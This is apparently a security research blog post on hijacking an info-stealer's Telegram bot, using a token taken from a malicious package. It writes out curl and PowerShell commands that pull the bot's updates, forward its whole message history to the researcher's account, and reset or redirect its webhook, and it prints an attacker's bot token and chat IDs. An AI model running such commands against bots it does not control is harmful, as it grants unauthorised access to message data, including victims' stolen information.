Markdown (GitHub flavored):
## Key Points
- Attackers frequently use Telegram bots to gather data from victims.
- Observing an attacker's communications can yield critical insights.
- It's feasible to redirect messages from an attacker's bot to your own Telegram account.
- Attackers often release harmful packages that send victims' data back to them via Telegram bots. But what if we could listen in on the attacker's perspective? This blog will illustrate how to do just that.
## Infiltrating the Attacker’s Telegram Bot – Step by Step
In this scenario, we have a malicious package containing obfuscated info-stealer malware. From this package, we extracted the details of the Telegram bot employed by the attacker.
For this demonstration, two crucial components of the link are needed: the attacker’s bot token and chat ID.
[ATTACH type="full"]268512[/ATTACH]
The first step involves using the initial segment of the link with the bot token in the following command:
curl "https://api.telegram.org/bot{bot-token}/getMe"
text
[ATTACH type="full"]268513[/ATTACH]
This command verifies whether the bot is operational and provides essential information, such as the bot’s username, which in this instance is “trakinho_bot.” We can then search for this bot on Telegram.
The next step is to execute the same command in the CLI, appending `/getUpdates` at the end. This step is vital as it will furnish us with two key pieces of information:
[ATTACH type="full"]268514[/ATTACH]
[ATTACH type="full"]268516[/ATTACH]
1. Our own chat ID.
2. The message ID, which indicates how many messages the bot has received and increments with each new message. This will be necessary for our subsequent command.
Although this next step is optional, it serves as a useful test to see if we can forward previous messages to this bot. To do so, we will use the following command with specified variables:
- `attacker_bot_token`: The attacker’s bot token obtained in the first step (e.g., `6414966437:AAHtThsoeAj36fZY4941ZVfnzRpMQXVXz_Y`)
- `attacker_chat_id`: The attacker’s chat ID found in the first step (e.g., `6200912483`)
- `my_chat_id`: My chat ID obtained previously (e.g., `6348918997`)
- `message_id`: The message ID identified earlier (e.g., `2170`)
[ATTACH type="full"]268515[/ATTACH]
Command:
curl -Uri "https://api.telegram.org/bot{attacker_bot_token}/forwardMessage" -Method POST -ContentType "application/json" -Body '{"from_chat_id":"{attacker_chat_id}", "chat_id":"{my_chat_id}", "message_id":"{message_id}"}'
text
[ATTACH type="full"]268519[/ATTACH]
When executing this command, an error may occur indicating that the message cannot be found; however, we can resolve this by trying different, lower-numbered message IDs until we find one that works.
Once a valid message ID is located, we will see the forwarded message appear in our Telegram account.
To loop through all messages received by the bot and forward them to us, we use the following command:
1..2170 | ForEach-Object { Invoke-WebRequest -Uri "https://api.telegram.org/bot{attacker_Bot_Token}/forwardMessage" -Method POST -ContentType "application/json" -Body ('{"from_chat_id":"{attacker_chat_id}", "chat_id":"{my_chat_id}", "message_id":' + $_ + '}') }
text
This command iterates through all messages from ID 1 to 2170 and forwards them to our Telegram account. Once executed, all messages received by the bot will be forwarded to us.
## Disrupting Attackers’ Telegram Bots Using Webhooks
In certain scenarios, attackers may employ webhooks to reroute messages from Telegram, complicating our monitoring efforts.
As illustrated below, an attacker might forward their bot's messages to a specific address (e.g., “hxxps[:]//a7d8a278870ff9da6427af6d9dfaa3d9.m.pipedream[.]net”).
In such cases, we have a couple of options:
[ATTACH type="full"]268520[/ATTACH]
1. Use the “setWebhook” command to redirect messages to our webhook. While this allows us to receive updates for new messages going forward, it does not grant access to past messages.
<code>curl -F "{your-webhook}" https://api.telegram.org/bot{telegram_bot_token}/setWebhook</code>
2. Alternatively, we can delete the webhook using the “deleteWebhook” command. This enables us to continue using “getUpdates” to receive message IDs and subsequently implement commands to iterate through all messages and forward them to our account.
By employing these strategies, we successfully intercepted attackers’ Telegram bots from numerous malicious packages. Consequently, we identified details of over 2000 unique machines and discovered files containing exfiltrated sensitive data still accessible from these machines. This highlights the significant success attackers achieve through their use of Telegram bots within malicious packages.
